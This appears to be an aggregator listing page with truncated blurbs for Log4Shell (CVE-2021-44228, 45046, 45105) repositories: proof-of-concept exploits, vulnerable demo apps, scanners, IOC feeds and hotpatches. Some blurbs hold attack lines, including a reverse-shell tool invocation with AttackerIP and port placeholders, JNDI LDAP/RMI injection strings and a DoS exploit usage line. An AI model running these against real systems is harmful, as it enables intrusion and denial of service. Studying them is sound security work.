log4j2-rce-recap

Little recap of the log4j2 remote code execution CVE-2021-44228 Requirements maven = 3 java = 8 no running ldap on 127.0.0.1:1389 Usage Build with maven. root@kitploit: mvn test The surefire plugin will be executed two times: ExploitabilityTest proofs the expolitability of the bug. MitigationTest...

log4j-filescan

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log4shell-iocs

Log4Shell-IOCs IOC feeds curated by WatchGuard Threat Lab that contain recent attempts to probe or exploit CVE-2021-44228 in Log4j2 Analyst Comments 2021-12-17 Threats shared in this feed should be used for THREAT HUNTING and added to a WATCHLIST. We strongly recommend NOT adding them to a...

log4j2-CVE-2021-45046

Sample Log4j2 vulnerable application CVE-2021-45046 Versions Affected: all versions from 2.0-beta9 to 2.15.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45046 It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1. Running the application Run it:...

cloudrasp-log4j2

CloudArmor · Runtime Application Self-Protection Module - Log4j2 Version 简体中文 This project is a local version from CloudArmor specifically built for defending Log4j2 CVE-2021-44228 . No network connection is required to run this project. Please DO TESTING before deploying it to production...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 This is a proof of concept of the log4j rce. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

hotpatch-for-apache-log4j2

Log4jHotPatch This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup". It is designed to addres...

log4j2-bugmaker

Log4j2-BugMaker CVE-2021-44228 Log4Shell Vulnerability Demonstration Project This is a demonstration project for learning and researching the Log4j2 remote code execution vulnerability Log4Shell. ⚠️ Safety Warning This project is intended for security research and educational purposes only. Do not...

CVE-2021-44228

CVE-2021-44228 PoC Log4Shell ⚠️ Disclaimer: This tool is intended for educational purposes, security research, and controlled test environments only. Using it against systems without explicit permission is illegal and entirely the responsibility of the user. 📌 Description This project contains a...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228, log4j2 Burp plugin Java version. DNSlog uses non-dnslog.cn domain names. Effect demonstration: Target range the range is relatively slow, but internet assets are fine. The reason might be that the range handles other request headers poorly, or the headers are too...

log4j2-CVE-2021-44228

Sample Log4j2 vulnerable application CVE-2021-44228 Versions Affected: all versions from 2.0-beta9 to 2.14.1 This application is based on Spring Boot web application vulnerable to CVE-2021-44228 It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1. Running the application Run it:...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

log4j2_dos_exploit

Description about author: iAmSoScArEd blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos exploit script CVE-2021-45105 Exploit CVE-2021-45105 exploit script Usage how to use English： root@kitploit: Log4j2dos.py -u -m -...

Log4j_dos_CVE-2021-45105

Log4j2 DOS CVE-2021-45105 Poc root@kitploit: $$::-$::-$$::-$ Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: root@kitploit: Import the project in Jav...

CVE-2021-44228

CVE-2021-44228 Analysis How does it work? Below is a detailed process of a remote injection case by exploiting log4shell vulnerability. First, there are 3 part we need to know: 1. Log4j2 allows for the logging of data using a feature called message lookup substitution , where log messages can...

Log4j-PoC

Proof of Concept for Log4j CVE-2021-44228 Disclaimer This project is only for educational purposes. Introduction This is a proof of concept of the log4j rce adapted from HyCraftHD. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

log4j2

log4j2 this is a log4j2 jmi attack demo, inspired by link...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServ...

Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...